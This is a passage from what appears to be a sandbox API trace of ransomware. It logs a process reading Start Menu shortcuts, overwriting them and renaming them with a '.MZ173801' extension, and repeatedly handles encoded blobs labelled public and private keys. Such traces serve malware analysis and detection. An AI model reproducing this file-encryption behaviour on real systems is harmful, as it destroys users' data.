lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0211.711] GetCurrentThreadId () returned 0xab4 [0211.711] GetCurrentThreadId () returned 0xab4 [0211.711] GetCurrentThreadId () returned 0xab4 [0211.711] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Skype for Business 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\skype for business 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.711] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0211.711] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0211.711] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x99e [0211.711] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0211.711] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x99e, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x99e, lpOverlapped=0x0) returned 1 [0211.713] CloseHandle (hObject=0x328) returned 1 [0211.713] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Skype for Business 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\skype for business 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.715] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x99e, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x99e, lpOverlapped=0x0) returned 1 [0211.716] CloseHandle (hObject=0x328) returned 1 [0211.716] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Skype for Business 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\skype for business 2016.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Skype for Business 2016.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\skype for business 2016.lnk.mz173801")) returned 1 [0211.717] GetCurrentThreadId () returned 0xab4 [0211.717] GetCurrentThreadId () returned 0xab4 [0211.717] GetCurrentThreadId () returned 0xab4 [0211.717] GetCurrentThreadId () returned 0xab4 [0211.717] GetCurrentThreadId () returned 0xab4 [0211.717] GetCurrentThreadId () returned 0xab4 [0211.717] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc24e5770, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a9704bf, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Startup", cAlternateFileName="")) returned 1 [0211.717] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc24e74df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x474d6904, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0211.717] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc24e8184, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0211.717] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc307c637, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xc307c637, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xc307c637, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x86e, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Visio 2016.lnk", cAlternateFileName="VISIO2~1.LNK")) returned 1 [0211.717] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0211.717] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0211.717] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Visio 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\visio 2016.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc307c637, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xc307c637, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xc307c637, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x86e)) returned 1 [0211.720] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Visio 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\visio 2016.lnk")) returned 0x20 [0211.720] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Visio 2016.lnk", dwFileAttributes=0x80) returned 1 [0211.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0211.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0211.724] GetCurrentThreadId () returned 0xab4 [0211.724] GetCurrentThreadId () returned 0xab4 [0211.724] GetCurrentThreadId () returned 0xab4 [0211.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0211.725] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0211.725] GetCurrentThreadId () returned 0xab4 [0211.725] GetCurrentThreadId () returned 0xab4 [0211.725] GetCurrentThreadId () returned 0xab4 [0211.725] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Visio 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\visio 2016.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.725] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0211.725] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0211.726] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x86e [0211.726] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0211.726] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x86e, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x86e, lpOverlapped=0x0) returned 1 [0211.766] CloseHandle (hObject=0x328) returned 1 [0211.766] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Visio 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\visio 2016.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0211.779] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x86e, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, 